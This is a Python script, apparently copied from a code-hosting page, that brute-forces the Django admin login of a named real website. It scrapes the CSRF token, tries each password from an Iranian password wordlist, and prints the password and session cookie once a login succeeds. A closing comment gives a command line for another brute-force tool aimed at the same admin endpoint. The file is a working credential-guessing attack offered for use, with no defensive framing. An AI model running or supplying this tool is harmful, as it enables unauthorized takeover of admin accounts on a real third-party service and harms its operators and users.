82 lines
2.2 KiB
Python
82 lines
2.2 KiB
Python
import requests
|
|
|
|
from lxml import html
|
|
|
|
TARGET_URL = 'https://api.torob.com/torob-admin/login/'
|
|
USERNAME = ''
|
|
WORDLIST = '/root/Iranian-Password-list/nam2elist.txt'
|
|
|
|
|
|
def brute_force():
|
|
print(f'Target: {TARGET_URL}')
|
|
print(f'Trying passwords for {USERNAME}.')
|
|
|
|
client = requests.session()
|
|
page = client.get(TARGET_URL)
|
|
|
|
tree = html.fromstring(page.content)
|
|
csrf_middleware_token = tree.xpath('//input[@name="csrfmiddlewaretoken"]/@value')[0]
|
|
|
|
|
|
csrf_token = client.cookies.get('csrftoken')
|
|
cookies = {'csrftoken': csrf_token}
|
|
|
|
|
|
headers = {'Referer': TARGET_URL}
|
|
|
|
print('Reading file...')
|
|
with open(WORDLIST, mode='r') as file:
|
|
content = file.readlines()
|
|
|
|
|
|
passwords = [p.strip() for p in content]
|
|
|
|
print('Cracking', end='', flush=True)
|
|
count = 0
|
|
for password in passwords:
|
|
count += 1
|
|
print_count(count)
|
|
body = {
|
|
'username': USERNAME,
|
|
'password': password,
|
|
'csrfmiddlewaretoken': csrf_middleware_token
|
|
}
|
|
response = requests.post(
|
|
TARGET_URL,
|
|
cookies=cookies,
|
|
headers=headers,
|
|
data=body,
|
|
allow_redirects=False
|
|
)
|
|
|
|
if response.status_code == 302:
|
|
break
|
|
|
|
if response.status_code == 200:
|
|
continue
|
|
|
|
break
|
|
|
|
if response.status_code == 302:
|
|
session_token = response.cookies.get('sessionid')
|
|
print(f'\nSuccess. {count} passwords tried. Password: {password}. Session token: {session_token}.')
|
|
elif response.status_code == 200:
|
|
print(f'\nFailed. {count} passwords tried.')
|
|
else:
|
|
print(f'\nUnable to attempt login: received status code {response.status_code}.')
|
|
|
|
|
|
def print_count(counter, small_denom=10, big_denom=100):
|
|
if (counter / small_denom).is_integer():
|
|
print('.', end='', flush=True)
|
|
if (counter / big_denom).is_integer():
|
|
print(counter, end='', flush=True)
|
|
|
|
|
|
if __name__ == '__main__':
|
|
brute_force()
|
|
|
|
#DjangoUnchained.py -domain api.torob.com -scheme https -uri /torob-admin/login/ -userdict /root/DjangoUnchained/username.txt -passwdict /root/DjangoUnchained/password.txt -l /root/file.log
|
|
|
|
|